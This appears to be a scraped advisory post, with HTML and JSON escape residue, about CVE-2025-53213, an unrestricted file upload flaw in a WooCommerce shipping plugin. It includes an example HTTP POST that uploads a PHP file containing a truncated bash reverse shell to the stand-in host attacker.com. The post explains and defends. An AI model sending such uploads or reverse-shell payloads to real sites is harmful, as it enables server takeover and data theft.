Overview<\/strong><\/p>\n

The Common Vulnerabilities and Exposures (CVE) system has recently identified a high-risk vulnerability, designated as CVE-2025-53213, affecting the ReachShip WooCommerce Multi-Carrier & Conditional Shipping plugin. This vulnerability is of particular concern because it allows malicious actors to upload files of dangerous types unrestrictedly, potentially leading to system compromise or data leakage.
\nAs ReachShip WooCommerce Multi-Carrier & Conditional Shipping is widely used by a vast number of WooCommerce-based online stores, the potential impact of this vulnerability<\/a> is far-reaching. It is therefore vital for store owners, developers, IT administrators, and cybersecurity professionals to be aware of this vulnerability and take appropriate action to mitigate its potential<\/a> damages.<\/p>\n

How the Exploit Works<\/strong><\/p>\n

This vulnerability arises from insufficient input validation in the file upload<\/a> mechanism of the affected plugin. This allows a malicious actor to upload a file<\/a> with a dangerous type, such as executable scripts or malware-infected files, without any restriction. Once uploaded, this file could be executed within the server environment, potentially leading to unauthorized access<\/a>, system compromise, data leakage, or even a full-scale denial of service (DoS) attack.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

The following is a conceptual example of a HTTP POST request that could be used to exploit this vulnerability<\/a>:<\/p>\n

POST \/wp-content\/plugins\/reachship-woocommerce\/upload.php HTTP\/1.1\nHost: vulnerablestore.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=\"uploadfile\"; filename=\"exploit.php\"\nContent-Type: application\/x-php\n& \/dev\/tcp\/attacker.com\/8080 0>&1'\");\n?>\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n
In this example, a malicious PHP file<\/a> (`exploit.php`) is uploaded to the server. When executed, this file establishes a reverse shell connection to the attacker’s command and control server (`attacker.com`), potentially giving them full control over the compromised system<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"
